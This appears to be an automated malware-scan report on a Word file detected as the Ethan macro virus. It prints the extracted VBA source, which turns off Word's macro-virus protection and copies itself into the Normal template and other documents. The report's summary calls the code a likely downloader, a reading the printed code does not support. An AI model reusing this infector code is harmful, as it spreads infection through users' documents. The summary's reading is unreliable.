MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a Microsoft Word document containing VBA macros, identified by ClamAV as Doc.Trojan.Ethan-1. The Document_Close subroutine within the VBA code appears to search for a constant string 'xyzzy' and attempts to copy code between the active document and the normal template. This behavior is indicative of a downloader or a mechanism to ensure persistence or execution of further stages, though the exact payload is not directly observable.
Heuristics 2
-
ClamAV: Doc.Trojan.Ethan-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-1
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5724 bytes |
SHA-256: bc53fcf72afdef69c02a773b2e2ea7a0d216f775e55cb9c66e83a1f7fc536101 |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'Gateway Pre-installed User12/02/99 12:43:36HP LaserJet 5/5M - Standard on \\HPOXFORDST\HP_LJ5mel Sub ViewVBCode() 'Gateway Pre-installed User12/02/99 12:43:36HP LaserJet 5/5M - Standard on \\HPOXFORDST\HP_LJ5mel End Sub Private Sub Document_Close() On Error Resume Next Const ID = "xyzzy" Dim hdlskk As Boolean Dim ijnff, iitgh As Object Dim zmbbcxx As String Set ijnff = ActiveDocument.VBProject.VBComponents.Item(1) Set iitgh = NormalTemplate.VBProject.VBComponents.Item(1) Options.VirusProtection = False If (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then If ijnff.codemodule.Find(ID, 1, 1, 10000, 10000) = True Then hdlskk = NormalTemplate.Saved zmbbcxx = ijnff.codemodule.Lines(1, ijnff.codemodule.CountOfLines) iitgh.codemodule.deletelines 1, iitgh.codemodule.CountOfLines iitgh.codemodule.AddFromString zmbbcxx If hdlskk = True Then NormalTemplate.Save End If If iitgh.codemodule.Find(ID, 1, 1, 10000, 10000) = True And (Mid(ActiveDocument.FullName, 2, 1) = ":" Or ActiveDocument.Saved = False) Then zmbbcxx = iitgh.codemodule.Lines(1, iitgh.codemodule.CountOfLines) ijnff.codemodule.deletelines 1, ijnff.codemodule.CountOfLines ijnff.codemodule.AddFromString zmbbcxx End If If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If End Sub ' Processing file: /opt/analyzer/scan_staging/20964adc3ac14c7a995600e6558e6605.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 3293 bytes ' Line #0: ' QuoteRem 0x0000 0x0060 "Gateway Pre-installed User12/02/99 12:43:36HP LaserJet 5/5M - Standard on \\HPOXFORDST\HP_LJ5mel" ' Line #1: ' FuncDefn (Sub ViewVBCode()) ' Line #2: ' QuoteRem 0x0000 0x0060 "Gateway Pre-installed User12/02/99 12:43:36HP LaserJet 5/5M - Standard on \\HPOXFORDST\HP_LJ5mel" ' Line #3: ' EndSub ' Line #4: ' FuncDefn (Private Sub Document_Close()) ' Line #5: ' OnError (Resume Next) ' Line #6: ' Dim (Const) ' LitStr 0x0005 "xyzzy" ' VarDefn ID ' Line #7: ' Dim ' VarDefn hdlskk (As Boolean) ' Line #8: ' Dim ' VarDefn ijnff ' VarDefn iitgh (As Object) ' Line #9: ' Dim ' VarDefn zmbbcxx (As String) ' Line #10: ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set ijnff ' Line #11: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set iitgh ' Line #12: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #13: ' Ld ActiveDocument ' MemLd SaveFormat ' Ld wdFormatDocument ' Eq ' Ld ActiveDocument ' MemLd SaveFormat ' Ld wdFormatTemplate ' Eq ' Or ' Paren ' IfBlock ' Line #14: ' Ld ID ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x2710 ' LitDI2 0x2710 ' Ld ijnff ' MemLd codemodule ' ArgsMemLd Find 0x0005 ' LitVarSpecial (True) ' Eq ' IfBlock ' Line #15: ' Ld NormalTemplate ' MemLd Saved ' St hdlskk ' Line #16: ' LitDI2 0x0001 ' Ld ijnff ' MemLd codemodule ' MemLd CountOfLines ' Ld ijnff ' MemLd codemodule ' ArgsMemLd Lines 0x0002 ' St zmbbcxx ' Line #17: ' LitDI2 0x0001 ' Ld iitgh ' MemLd codemodule ' MemLd CountOfLines ' Ld iitgh ' MemLd codemodule ' ArgsMemCall deletelines 0x0002 ' Line #18: ' Ld zmbbcxx ' Ld iitgh ' MemLd codemodule ' ArgsMemCall AddFromString 0x0001 ' Line #19: ' Ld hdlskk ' LitVarSpecial (True) ' Eq ' If ' BoSImplicit ' Ld NormalTemplate ' ArgsMemCall Save 0x0000 ' EndIf ' Line #20: ' EndIfBlock ' Line #21: ' Ld ID ' LitDI ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.